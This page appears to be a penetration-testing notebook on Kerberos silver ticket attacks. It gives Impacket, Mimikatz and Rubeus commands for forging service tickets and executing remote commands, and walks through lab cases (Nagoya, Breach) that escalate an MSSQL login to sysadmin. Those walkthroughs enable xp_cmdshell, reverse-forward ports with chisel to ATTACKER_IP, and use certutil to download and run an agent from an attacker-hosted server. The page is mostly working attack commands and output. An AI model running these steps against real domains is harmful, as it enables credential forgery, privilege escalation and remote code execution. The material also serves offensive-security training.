> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/domain-controllers/silver-ticket.md).

# Silver Ticket

## Silver ticket

With [Impacket](https://github.com/SecureAuthCorp/impacket) examples:

```shell
# To generate the TGS with NTLM
python ticketer.py -nthash <ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn>  <user_name>

# To generate the TGS with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn>  <user_name>

# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
```

With [Mimikatz](https://github.com/gentilkiwi/mimikatz):

```shell
# To generate the TGS with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>

# To generate the TGS with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>

# To generate the TGS with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>

# Inject TGS with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>
```

Inject ticket with [Rubeus](https://github.com/GhostPack/Rubeus):

```shell
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
```

Execute a cmd in the remote machine with [PsExec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec):

```shell
.\PsExec.exe -accepteula \\<remote_hostname> cmd
```

## MSSQL Service Silver Ticket

If you recover a service account password/hash for an MSSQL SPN but the SQL login does not have enough privilege for actions such as enabling `xp_cmdshell`, forge a ticket for that exact SPN as `Administrator` or another high-privilege user. This can turn a low-privileged MSSQL login into an administrative MSSQL session if the service ticket is accepted.

Convert the service account password to NTLM, then create the ticket:

```bash
impacket-ticketer -nthash NTLM_HASH \
  -domain-sid DOMAIN_SID \
  -domain DOMAIN \
  -spn mssql/SQL_HOST_FQDN \
  Administrator
```

Nagoya example, using service password `changeme123`:

```
changeme123 -> 2AD421D6036D46E5CA5AA1F14922EAF4
```

```bash
impacket-ticketer -nthash 2AD421D6036D46E5CA5AA1F14922EAF4 \
  -domain-sid S-1-5-21-1969309164-1513403977-1686805993 \
  -domain nagoya-industries.com \
  -spn mssql/nagoya.nagoya-industries.com \
  Administrator
```

Create a minimal Kerberos config that avoids hostname canonicalization changing the SPN target:

```bash
cat > /tmp/krb5-no-canon.conf <<'EOF'
[libdefaults]
    default_realm = DOMAIN_UPPER
    dns_canonicalize_hostname = false
    rdns = false

[domain_realm]
    .domain.local = DOMAIN_UPPER
    domain.local = DOMAIN_UPPER
EOF
```

Nagoya example:

```bash
cat > /tmp/krb5-no-canon.conf <<'EOF'
[libdefaults]
    default_realm = NAGOYA-INDUSTRIES.COM
    dns_canonicalize_hostname = false
    rdns = false

[domain_realm]
    .nagoya-industries.com = NAGOYA-INDUSTRIES.COM
    nagoya-industries.com = NAGOYA-INDUSTRIES.COM
EOF
```

Use the generated ccache. The hostname after `@` in `mssqlclient` must match the forged SPN host:

```bash
export KRB5_CONFIG=/tmp/krb5-no-canon.conf
export KRB5CCNAME=Administrator.ccache

impacket-mssqlclient DOMAIN/Administrator@SQL_HOST_FQDN -target-ip 127.0.0.1 -windows-auth -k -no-pass
```

With a forged MSSQL silver ticket, use Kerberos auth and make the hostname match the SPN used in the ticket: Nagoya example:

```bash
export KRB5_CONFIG=/tmp/krb5-no-canon.conf
export KRB5CCNAME=Administrator.ccache

impacket-mssqlclient nagoya-industries.com/Administrator@nagoya.nagoya-industries.com -target-ip 127.0.0.1 -windows-auth -k -no-pass
```

After connecting as an administrative SQL user, enable and use `xp_cmdshell`:

```sql
enable_xp_cmdshell
xp_cmdshell whoami
```

If MSSQL is only reachable locally on the target, reverse-forward it first, for example:

```bash
./chisel server --port 8080 --reverse
.\chisel.exe client ATTACKER_IP:8080 R:1433:127.0.0.1:1433
```

Nagoya example:

```bash
./chisel server --port 8080 --reverse
.\chisel.exe client 192.168.45.240:8080 R:1433:127.0.0.1:1433
```

### Port-qualified MSSQL SPN example

Breach first recovered `Julia.Wong:Computer1` from a captured NetNTLMv2 response. Authenticated LDAP enumeration supplied the domain SID and a Kerberoastable `svc_mssql` account:

```bash
nxc ldap breach.vl -u julia.wong -p 'Computer1' --users --groups --computers --dc-list --get-sid --admin-count --asreproast asrep.txt --kerberoasting kerberoast.txt
```

Cracking the `svc_mssql` TGS recovered `Trustno1`. A direct SQL login opened as `guest`, and `is_srvrolemember('sysadmin')` returned `0`:

```bash
impacket-mssqlclient breach.vl/svc_mssql:Trustno1@breachdc -windows-auth
```

Query the service account's SPN before forging the ticket. The observed SPN included port `1433`:

```bash
impacket-GetUserSPNs -dc-ip 10.129.72.224 breach.vl/julia.wong
```

```
MSSQLSvc/breachdc.breach.vl:1433  svc_mssql
```

Using the NT hash of `Trustno1` and the enumerated domain SID, forge the ticket for that exact SPN:

```bash
impacket-ticketer -nthash 69596C7AA1E8DAEE17F8E78870E25A5C -domain-sid S-1-5-21-2330692793-3312915120-706255856 -domain breach.vl -spn 'MSSQLSvc/breachdc.breach.vl:1433' Administrator
```

The Breach Kerberos config disabled hostname canonicalization:

```ini
[libdefaults]
    default_realm = BREACH.VL
    dns_canonicalize_hostname = false
    rdns = false

[domain_realm]
    .breach.vl = BREACH.VL
    breach.vl = BREACH.VL
```

With that config saved as `/tmp/krb5-no-canon.conf`, use the ticket against the host and port in the SPN:

```bash
export KRB5_CONFIG=/tmp/krb5-no-canon.conf
export KRB5CCNAME=Administrator.ccache
impacket-mssqlclient breach.vl/Administrator@breachdc.breach.vl:1433 -target-ip 10.129.72.224 -windows-auth -k -no-pass
```

The SQL session opened as `BREACH\Administrator` in `dbo@master`. The role check returned `1`, after which `xp_cmdshell` was enabled. `whoami /all` showed the command ran as `breach\svc_mssql` with `SeImpersonatePrivilege` enabled:

```
SELECT is_srvrolemember('sysadmin');
enable_xp_cmdshell
xp_cmdshell "whoami /all"
```

The SQL command runner downloaded and started the agent used to stage the later service payload:

```bash
python3 -m http.server
```

```
xp_cmdshell "certutil -urlcache -f http://10.10.14.51:8000/apollo.exe C:\Windows\TEMP\apollo.exe"
xp_cmdshell "cmd.exe /c start /b C:\Windows\TEMP\apollo.exe"
```

The enabled privilege led to the [GodPotato service payload](/windows-priv-esc/windows-privilege-abuse.md#godpotato-service-payload). Its output showed a SYSTEM token, successful service creation, and the service starting.
